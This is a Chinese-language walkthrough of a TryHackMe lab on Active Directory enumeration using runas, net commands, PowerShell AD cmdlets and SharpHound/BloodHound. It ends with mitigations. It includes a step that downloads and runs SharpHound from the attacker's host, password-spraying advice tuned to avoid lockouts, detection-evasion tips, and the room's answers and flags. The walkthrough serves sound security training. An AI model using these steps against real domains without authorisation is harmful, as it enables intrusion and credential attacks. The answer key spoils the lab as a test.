Post Compromise - 0503 Enumerating Active Directory | TryHackMe
https://tryhackme.com/room/adenumeration
Task 1 Why AD Enumeration
AD Enumeration
Enumeration 即枚举,国内叫信息收集,AD Enumeration 即域信息收集。一旦拿到一组域内凭据,就可以使用已认证的访问权限开始枚举相关的域配置和域结构的各种详细信息,即使是非常低的权限也能做到。
在红队行动中,这通常会导致我们能够执行某种形式的权限提升或横向移动,以获取额外的访问权限,直到我们具有足够的权限来执行并实现我们的目标。在大多数情况下,枚举和攻击是紧密相关的。一旦枚举阶段得到的攻击路径被成功利用获取到了新的权限,那接下来又会基于这个新的权限再次进行枚举,如此循环往复直至获取到足够的权限使得能够完成任务,如下图所示:
简而言之,一旦我们成功获得域内凭据并在网络中通过了身份验证,我们就能够探查这个域的设置和结构,即使只有极低的权限。在红队行动中,这通常为我们提供了进行权限提升或横向移动的机会,以获取更多权限,直到最终实现我们的目标。攻击的路径通常是通过不断的信息收集和利用不断推进的。
学习目标
本 room 涉及到的几种可用于域内信息收集的方法:
- MMC 中的 AD 管理单元
- cmd 中的 net 命令
- PowerShell 的 AD-RSAT 模块
- BloodHound
kali 网络配置
通过 openvpn 接入内网:
┌──(kali㉿kali)-[~/thm]
└─$ sudo openvpn adenumeration.ovpn
Fri Mar 11 15:06:20 2022 OpenVPN 2.4.9 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 19 2020
Fri Mar 11 15:06:20 2022 library versions: OpenSSL 1.1.1g FIPS 21 Apr 2020, LZO 2.08
[....]
Fri Mar 11 15:06:22 2022 /sbin/ip link set dev tun0 up mtu 1500
Fri Mar 11 15:06:22 2022 /sbin/ip addr add dev tun0 10.50.2.3/24 broadcast 10.50.2.255
Fri Mar 11 15:06:22 2022 /sbin/ip route add 10.200.4.0/24 metric 1000 via 10.50.2.1
Fri Mar 11 15:06:22 2022 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Fri Mar 11 15:06:22 2022 Initialization Sequence Completed
修改 DNS 设置:sudo nano /etc/resolv.conf
将第一条 DNS 设置为:nameserver 10.200.56.101
检测 DNS 设置是否生效:
┌──(kali㉿kali)-[~/thm/breachingad]
└─$ nslookup thmdc.za.tryhackme.com
Server: 10.200.56.101
Address: 10.200.56.101#53
Name: thmdc.za.tryhackme.com
Address: 10.200.56.101
初始凭据获取:http://distributor.za.tryhackme.com/creds
ssh 连接:ssh za.tryhackme.com\\<AD Username>@thmjmp1.za.tryhackme.com
Task 2 凭据注入
“知彼知己,百战不殆;不知彼而知己,一胜一负;不知彼,不知己,每战必殆。” ——《孙子兵法》
Runas
使用 Runas
(一个合法的 Windows 内置二进制文件)将凭据注入到内存中:
runas.exe /netonly /user:<domain>\<username> cmd.exe
- /netonly - 表示提供的标识只能在网络身份验证上使用,而不针对域控进行身份验证
- /user - 指定域和与用户名
- cmd.exe - 即注入凭据后要运行的程序
命令执行后会得到一个以域用户身份运行的 cmd。
DNS
要验证凭据是否有效,最可靠的方法是查看 SYSVOL 目录,因为任何域帐户无论权限有多低,都可以读取到 SYSVOL 目录的内容。
在查看 SYSVOL 目录之前,可能需要手动配置 DNS:
$dnsip = "<DC IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip
在通过 ssh 登录的机器上测试是否可以查看 SYSVOL 目录
za\leslie.young@THMJMP1 C:\Users\leslie.young>dir \\za.tryhackme.com\SYSVOL\
Volume in drive \\za.tryhackme.com\SYSVOL is Windows
Volume Serial Number is 1634-22A9
Directory of \\za.tryhackme.com\SYSVOL
02/24/2022 09:57 PM <DIR> .
02/24/2022 09:57 PM <DIR> ..
02/24/2022 09:57 PM <JUNCTION> za.tryhackme.com [C:\Windows\SYSVOL\domain]
0 File(s) 0 bytes
3 Dir(s) 51,579,224,064 bytes free
IP vs Hostnames
问:
dir \\za.tryhackme.com\SYSVOL
和 dir \\<DC IP>\SYSVOL
之间有区别吗?
答:
这二者有很大的差异。当我们提供主机名时,网络身份验证将首先尝试执行 Kerberos 身份验证,而当我们提供 IP 时,则会使身份验证类型变为 NTLM。虽然从表面上看,这对我们来说并不重要,但了解这些细微的差异是有好处的,因为它们可以让你在红队行动期间更加隐蔽。在某些情况下,企业单位将监控 OverPass 和 Pass-The-Hash 这类攻击,而强制使用 NTLM 身份验证就可以避免在这些情况下被检测到。
Question: What native Windows binary allows us to inject credentials legitimately into memory?
Answer: runas.exe
Question: What parameter option of the runas binary will ensure that the injected credentials are used for all network connections?
Answer: /netonly
Question: What network folder on a domain controller is accessible by any authenticated AD account and stores GPO information?
Answer: SYSVOL
Question: When performing dir \\za.tryhackme.com\SYSVOL
, what type of authentication is performed by default?
Answer: Kerberos authentication
Task 3 通过 MMC 进行枚举
AD-RSAT
相关链接:
- https://learn.microsoft.com/zh-CN/troubleshoot/windows-server/system-management-components/remote-server-administration-tools
- https://www.microsoft.com/zh-cn/download/details.aspx?id=45520
- https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
- https://www.varonis.com/blog/powershell-active-directory-module
MMC
如果在自己电脑操作需要先安装 Microsoft 管理控制台(MMC, Microsoft Management Console):
- 在 Windows 设置中搜索 “应用和功能” 并按 Enter 键
- 单击 “可选功能”
- 单击 “添加功能”
- 搜索 “RSAT”
- 选择 “RSAT:Active Directory 域服务和轻型目录工具”,然后单击 “安装”
安装完成后可通过 win+r
输入 mmc
打开 Microsoft 管理控制台
如果我们只是正常运行 MMC,它是无法使用的,因为我们的计算机未加入域,并且我们的本地帐户无法用于对域进行身份验证。所以这里就需要 Runas 发挥作用,在使用 Runas 得到的 cmd 窗口中启动 MMC,这将确保所有 MMC 网络连接都将使用我们注入的 AD 凭据。
现在,在 MMC 中附加 AD RSAT 管理单元:
- 单击
文件
->添加/删除管理单元
- 选择并添加所有三个 Active Directory 管理单元
- 依次右键单击这三个 Active Directory 管理单元并选择
更改林
- 输入
za.tryhackme.com
作为根域,然后单击确定
- 三个管理单元的根域修改完成后右键单击
Active Directory 用户和计算机
- 依次单击
查看
->高级功能
配置完成后即可开始利用 mmc 对域内信息进行枚举。
Users 和 Computers
展开该管理单元并展开 za 域以查看 OU(初始组织单位)结构:
查看 People 目录下的 OU 结构:
查看单个用户属性:
查看入域的计算机列表:
如果有相关权限,还可以利用 MMC 直接对 AD 进行更改,例如更改用户的密码或将用户添加到特定组。使用 MMC 可以更好地理解域结构,还可以利用搜索功能来寻找域内对象。
优点
- 图形化界面提供了一种获取域环境整体结构的绝佳方法
- 可以对不同的域对象进行快速搜索
- MMC 提供了一种直接查看域内对象的特定更新的方法
- 如果有足够的权限,可以直接更新现有的域对象或添加新的域对象
缺点
- 图形化界面需要使用 RDP 连接到目标机器
- 尽管搜索域内对象的速度很快,但无法收集域内的特性或属性
Question: How many Computer objects are part of the Servers OU?
Answer: 2
Question: How many Computer objects are part of the Workstations OU?
Answer: 1
Question: How many departments (Organisational Units) does this organisation consist of?
Answer: 7
Question: How many Admin tiers does this organisation have?
Answer: 3
Question: What is the value of the flag stored in the description attribute of the t0_tinus.green
account?
Answer: THM{Enumerating.Via.MMC}
Task 4 通过 CMD 进行枚举
CMD
有时可能需要快速而直接地进行域信息搜集,CMD 很适合做这个工作,尤其是当 RDP 不可用、Powershell 被监控,并且需要通过 RAT 来进行域信息收集时,CMD 会更加方便。
CMD 有一个内置命令,我们可以使用它来枚举有关域的信息,即 net
。net
命令是一个方便的工具,可用于枚举有关本地系统和域的信息。
Users
使用 net
命令通过 user
参数列出 AD 域中的所有用户:
C:\>net user /domain
The request will be processed at a domain controller for domain za.tryhackme.com
User accounts for \\THMDC
-------------------------------------------------------------------------------
aaron.conway aaron.hancock aaron.harris
aaron.johnson aaron.lewis aaron.moore
aaron.patel aaron.smith abbie.joyce
abbie.robertson abbie.taylor abbie.walker
abdul.akhtar abdul.bates abdul.holt
abdul.jones abdul.wall abdul.west
abdul.wilson abigail.cox abigail.cox1
abigail.smith abigail.ward abigail.wheeler
[....]
The command completed successfully.
上述命令执行后会返回所有的域用户名,这有助于确定域的大小以进行进一步的攻击。我们还可以使用此参数来枚举单个域用户的详细信息:
C:\>net user zoe.marshall /domain
The request will be processed at a domain controller for domain za.tryhackme.com
User name zoe.marshall
Full Name Zoe Marshall
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/24/2022 10:06:06 PM
Password expires Never
Password changeable 2/24/2022 10:06:06 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Internet Access
The command completed successfully.
ps:如果用户只是少数 AD 组的一部分,此命令将会完整显示出其组成员身份。但是,在超过十个组成员身份后,该命令通常无法完整展示结果。
Groups
使用 net
命令通过使用 group
参数来枚举域内所有用户组:
C:\>net group /domain
The request will be processed at a domain controller for domain za.tryhackme.com
Group Accounts for \\THMDC
-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
[...]
*Schema Admins
*Server Admins
*Tier 0 Admins
*Tier 1 Admins
*Tier 2 Admins
The command completed successfully.
同样可以查看单个组的详细信息:
C:\>net group "Tier 1 Admins" /domain
The request will be processed at a domain controller for domain za.tryhackme.com
Group name Tier 1 Admins
Comment
Members
-------------------------------------------------------------------------------
t1_arthur.tyler t1_gary.moss t1_henry.miller
t1_jill.wallis t1_joel.stephenson t1_marian.yates
t1_rosie.bryant
The command completed successfully.
密码策略
使用 net
命令通过 accounts
参数来枚举域的密码策略:
C:\>net accounts /domain
The request will be processed at a domain controller for domain za.tryhackme.com
Force user logoff how long after time expires?: Never
Minimum password age (days): 0
Maximum password age (days): Unlimited
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: PRIMARY
The command completed successfully.
这其中的有效信息包括:
- 密码历史保留长度
- 错误密码尝试的锁定阈值以及账户将被锁定的时间
- 密码长度最小值
- 密码最短使用期限
如果要对目前得到的域账号进行密码喷洒,那么这些信息就对我们十分有用。它可以帮助我们更好地猜测在攻击中应该使用哪些单一密码,以及在账号被锁定之前可以尝试多少次攻击。但是,如果我们盲目的进行密码喷洒,很有可能会导致一部分账号被锁定,因为我们无法确定某个账号在被锁定之前还剩多少次可以尝试。
优点
- 不需要额外的或外部的工具,并且蓝队通常不会监控这些简单的命令
- 此枚举不需要图形化界面
- VBS 和其他常用于网络钓鱼的宏语言本身就支持这些命令,因此它们可用于在制作更有针对性的 payload 之前先枚举出域相关的初始信息
缺点
net
命令必须在已入域的机器上执行,如果未入域则查询不到域相关信息net
命令的查询结果可能会显示不完整
Question: Apart from the Domain Users group, what other group is the aaron.harris account a member of?
Answer: Internet Access
Question: Is the Guest account active? (Yay,Nay)
Answer: Nay
Question: How many accounts are a member of the Tier 1 Admins group?
Answer: 7
Question: What is the account lockout duration of the current password policy in minutes?
Answer: 30
Task 5 通过 PowerShell 进行枚举
PowerShell
由于前面安装了 AD-RSAT 工具,它会自动安装关联的 cmdlet,大概有五十多个,可以利用这些 cmdlet 来进行域内信息收集。
ssh 连接到目标机器并切换到 PowerShell:
┌──(kali㉿kali)-[~/thm/adenumeration]
└─$ ssh za.tryhackme.com\\[email protected]
za.tryhackme.com\[email protected]'s password:
Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.
za\leslie.young@THMJMP1 C:\Users\leslie.young>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\leslie.young>
Users
使用 Get-ADUser
来枚举域用户:
PS C:\Users\leslie.young> Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *
AccountExpirationDate :
accountExpires : 9223372036854775807
AccountLockoutTime :
[...]
Deleted :
Department : Consulting
Description :
DisplayName : Gordon Stevens
DistinguishedName : CN=gordon.stevens,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=com
[...]
参数解释:
-Identity
- 要枚举的帐户名-Properties
- 显示与帐户关联的哪些属性,*
将显示所有属性-Server
- 指定域控
对于大部分的 cmdlet,还可以使用 -Filter
参数来对枚举结果进行更多控制,并使用 Format-Table
这个 cmdlet 来优化结果展示效果,如下所示:
PS C:\Users\leslie.young> Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A
Name SamAccountName
---- --------------
chloe.stevens chloe.stevens
samantha.stevens samantha.stevens
[...]
janice.stevens janice.stevens
gordon.stevens gordon.stevens
Groups
使用 Get-ADGroup
来枚举域组:
PS C:\Users\leslie.young> Get-ADGroup -Identity Administrators -Server za.tryhackme.com
DistinguishedName : CN=Administrators,CN=Builtin,DC=za,DC=tryhackme,DC=com
GroupCategory : Security
GroupScope : DomainLocal
Name : Administrators
ObjectClass : group
ObjectGUID : f4d1cbcd-4a6f-4531-8550-0394c3273c4f
SamAccountName : Administrators
SID : S-1-5-32-544
还可以使用 Get-ADGroupMember
枚举组成员身份:
PS C:\Users\leslie.young> Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com
distinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=tryhackme,DC=com
name : Domain Admins
objectClass : group
objectGUID : 8a6186e5-e20f-4f13-b1b0-067f3326f67c
SamAccountName : Domain Admins
SID : S-1-5-21-3330634377-1326264276-632209373-512
[...]
distinguishedName : CN=Administrator,CN=Users,DC=za,DC=tryhackme,DC=com
name : Administrator
objectClass : user
objectGUID : b10fe384-bcce-450b-85c8-218e3c79b30f
SamAccountName : Administrator
SID : S-1-5-21-3330634377-1326264276-632209373-500
AD Objects
使用 Get-ADObject
对任何域对象进行更常规的搜索。例如,查找在特定日期之后有更改的所有域对象:
PS C:\> $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
PS C:\> Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com
Deleted :
DistinguishedName : DC=za,DC=tryhackme,DC=com
Name : za
ObjectClass : domainDNS
ObjectGUID : 518ee1e7-f427-4e91-a081-bb75e655ce7a
Deleted :
DistinguishedName : CN=Administrator,CN=Users,DC=za,DC=tryhackme,DC=com
Name : Administrator
ObjectClass : user
ObjectGUID : b10fe384-bcce-450b-85c8-218e3c79b30f
再比如,如果我们想在不锁定账号的情况下进行密码喷洒,就可以用它来枚举 badPwdCount
大于 0
的账号,以避免这些账号在攻击列表中:
PS C:\> Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
ps:仅当有域用户多次输入错误密码时,才会返回结果
Domains
使用 Get-ADDomain
来查找有关特定域的额外信息:
PS C:\> Get-ADDomain -Server za.tryhackme.com
AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=za,DC=tryhackme,DC=com
DeletedObjectsContainer : CN=Deleted Objects,DC=za,DC=tryhackme,DC=com
DistinguishedName : DC=za,DC=tryhackme,DC=com
DNSRoot : za.tryhackme.com
DomainControllersContainer : OU=Domain Controllers,DC=za,DC=tryhackme,DC=com
[...]
UsersContainer : CN=Users,DC=za,DC=tryhackme,DC=com
修改 AD Objects
使用 Set-ADAccountPassword
强制更改域用户的密码:
PS C:\> Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force)
优点
- PowerShell 的 cmdlet 可以枚举出比 cmd 中的 net 命令更多的信息
- 可以指定服务器和域来使用未加入域的计算机上的 runas 执行这些命令
- 可以创建自己的 cmdlet 来枚举特定信息
- 可以使用 AD-RSAT cmdlet 直接更改 AD 对象,例如重置密码或将用户添加到特定组
缺点
- 与 cmd 相比,蓝队通常更关注 PowerShell 的告警
- 必须安装 AD-RSAT 工具或使用其他可能被检测的脚本进行 PowerShell 枚举
Question: What is the value of the Title attribute of Beth Nolan (beth.nolan)?
Answer: Senior
Question: What is the value of the DistinguishedName attribute of Annette Manning (annette.manning)?
Answer: CN=annette.manning,OU=Marketing,OU=People,DC=za,DC=tryhackme,DC=com
Question: When was the Tier 2 Admins group created?
Answer: 2/24/2022 10:04:41 PM
Question: What is the value of the SID attribute of the Enterprise Admins group?
Answer: S-1-5-21-3330634377-1326264276-632209373-519
Question: Which container is used to store deleted AD objects?
Answer: CN=Deleted Objects,DC=za,DC=tryhackme,DC=com
Task 6 通过 BloodHound 进行枚举
官方 wiki:https://bloodhound.readthedocs.io/en/latest/index.html
BloodHound
BloodHound
使用可视化图表来展示 AD 域环境中隐藏的且通常是意想不到的关系。从版本 4.0 开始,BloodHound
还支持 Azure。攻击者可以使用 BloodHound
轻松识别原本无法快速识别的高度复杂的攻击路径,防御者可以使用 BloodHound
来识别并消除这些相同的攻击路径。蓝队和红队都可以通过 BloodHound
来快速深入的了解 AD 域环境中的权限关系。
BloodHound 是在攻击者机器本地运行的软件,在 kali 安装较为方便,通过 sudo apt install bloodhound
即可成功安装 BloodHound 及其所需依赖如 neo4j。
安装完成后先运行 neo4j 数据库:
┌──(kali㉿kali)-[~]
└─$ sudo neo4j console
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
2023-11-03 02:46:34.743+0000 INFO Starting...
2023-11-03 02:46:35.183+0000 INFO This instance is ServerId{964b4aa1} (964b4aa1-9ba8-4edf-b29b-0a60f5bdf68b)
2023-11-03 02:46:36.315+0000 INFO ======== Neo4j 4.4.26 ========
2023-11-03 02:46:37.361+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-11-03 02:46:37.362+0000 INFO Updating the initial password in component 'security-users'
2023-11-03 02:46:38.303+0000 INFO Bolt enabled on localhost:7687.
2023-11-03 02:46:39.064+0000 INFO Remote interface available at http://localhost:7474/
2023-11-03 02:46:39.068+0000 INFO id: F2DE3890CF25CEA2873A524E041EDD2F1AAE38584F2B24B1AB74E991DB3E6422
2023-11-03 02:46:39.068+0000 INFO name: system
2023-11-03 02:46:39.068+0000 INFO creationDate: 2023-11-03T02:24:08.877Z
2023-11-03 02:46:39.069+0000 INFO Started.
初次运行 neo4j 需访问其 web 页面进行初始化设置:http://localhost:7474/
,默认用户名密码均为 neo4j
,连接的 url 格式选择:bolt://
,并按提示设置新密码,成功登录后则初始化完成。
新建终端窗口输入 bloodhound
或者 bloodhound --no-sandbox
即可成功打开 BloodHound,使用 neo4j 数据库账号密码登录即可。
其他系统手动安装所需文件下载地址:
SharpHound
SharpHound 是 BloodHound 的枚举工具即 Collector,它用于枚举 AD 信息,然后在 BloodHound 中直观地将这些信息通过图形化展示出来。 BloodHound 就是用于展示 AD 域内攻击路线的图形化界面。因此,我们首先需要学习如何使用 SharpHound 来枚举 AD 信息,然后才能使用 BloodHound 直观地看到结果。
SharpHound 下载地址:
- https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
- https://github.com/BloodHoundAD/SharpHound/releases/tag/v1.1.1
注:最新的 SharpHound 版本仅支持 BloodHound CE 版本,BloodHound 4 及以下版本需搭配 SharpHound v1.1.1 及以下版本使用。
SharpHound 有三种版本:
- Sharphound.ps1 - 用于运行 Sharphound 的 PowerShell 脚本。该版本非常适合与 RAT 一起使用,因为脚本可以直接加载到内存中,从而规避杀软的静态查杀。
- Sharphound.exe - 用于运行 Sharphound 的 Windows 可执行版本。
- AzureHound.ps1 - 用于运行 Sharphound for Azure(微软云计算服务)实例的 PowerShell 脚本。 Bloodhound 可以提取从 Azure 枚举的数据,以查找与 Azure 身份和访问管理配置相关的攻击路径。
数据采集
在 kali 通过 Python 起一个 web 服务来托管 Sharphound.exe
文件:python3 -m http.server 80
回到 ssh 连接到的 windows powershell 会话中下载 Sharphound.exe
:
PS C:\Users\leslie.young\Documents> Invoke-WebRequest http://kali-vpn-ip/SharpHound.exe -OutFile SharpHound.exe
PS C:\Users\leslie.young\Documents> ls
Directory: C:\Users\leslie.young\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/3/2023 3:32 AM 1046528 SharpHound.exe
下载后运行 Sharphound:
.\SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs
可以用缩写:
.\SharpHound.exe -c all -d za.tryhackme.com --ExcludeDCs
所有参数详解:https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html
出现 Happy Graphing!
字样则表示数据采集完成,查看当前目录发现新增了一个 zip 文件:
现在通过 scp 将该压缩文件下载到 kali:
scp "za.tryhackme.com\\[email protected]:C:/Users/leslie.young/Documents/20231103033345_BloodHound.zip" .
数据导入
启动 neo4j 与 bloodhound:
sudo neo4j console
bloodhound
将 .zip
文件拖放到 Bloodhound 并等待它上传数据:
导入后在左侧 Database Info
中下滑至底部点击 Refresh Database Stats
即可刷新数据库状态:
上滑回去即可发现数据已经成功导入:
数据分析
左侧功能板块介绍:
- Search for a node(搜索节点),查找特定用户、组等
- Database Info(数据库信息),可以查看当前数据库中的域用户、域计算机等统计信息
- Node Indo(节点信息),单击某个节点时,在这里可以看到对应节点的相关信息
- Analysis(分析查询),包含一些预设的查询条件
搜索已有的用户名或机器名后右键,选择 Mark xxx as Owned
可将其标记为已拿下的目标,后续结合预设的查询条件可以更好的寻找攻击路径。
常用查询:
- Find all Domain Admins - 查询所有域管理员
- Map Domain Trusts - 查询域信任关系
- Find Principals with DCSync Rights - 查询有 DCSync 权限的主体
- Shortest Paths to Unconstrained Delegation Systems - 查询到非约束委派系统的最短路径
- Find Shortest Paths to Domain Admins - 查询到域管理员的最短路径
- Shortest Paths to Domain Admins from Owned Principals - 查询从已拥有的主体到域管理员的最短路径
参考文章:
Question: What command can be used to execute Sharphound.exe and request that it recovers Session information only from the za.tryhackme.com domain without touching domain controllers?
Answer: SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs
Question: Apart from the krbtgt account, how many other accounts are potentially kerberoastable?
Answer: 4
Question: How many machines do members of the Tier 1 Admins group have administrative access to?
Answer: 2
Question: How many users are members of the Tier 2 Admins group?
Answer: 15
Task 7 总结
其它域信息收集方式
- LDAP枚举 - 任何有效的 AD 凭据都应该能够连接到域控的 LDAP 端口,这使得可以通过 LDAP 查询来枚举有关域内 AD 对象的信息。
- PowerView -
PowerView
是 PowerSploit 项目的中的信息收集脚本之一,尽管该项目不再维护,但诸如PowerView
之类的脚本对于在紧要关头对 AD 对象进行半自动的信息收集非常有用。 - Windows Management Instrumentation (WMI) - WMI 可用于枚举 Windows 主机相关信息,它有一个名为
root\directory\ldap
的 provider,可用于与 AD 进行交互,我们可以使用这个 provider 和 PowerShell 中的 WMI 来进行域信息搜集。
缓解措施
- 强大的 AD 枚举技术(例如 Sharphound)在枚举会话信息时会生成大量登录事件,由于它是使用单个域账户执行,这些登录事件将与该单个账户关联,我们可以编写检测规则来检测用户账户中发生的此类行为。
- 可以为特定 AD 枚举技术必须安装的工具编写签名检测规则,例如 SharpHound 二进制文件和 AD-RSAT 工具。
- 除非组织内的员工需要使用,否则可以监控组织中 CMD 和 Powershell 的使用情况,以检测来自未经授权来源的潜在枚举尝试。
此外,蓝队(防御方)自己也可以定期使用这些枚举技术来检测 AD 域结构中的漏洞和错误配置,如果蓝队能解决这些问题,即使攻击者对 AD 域进行枚举,也无法找到可用于权限提升或横向移动的错误配置。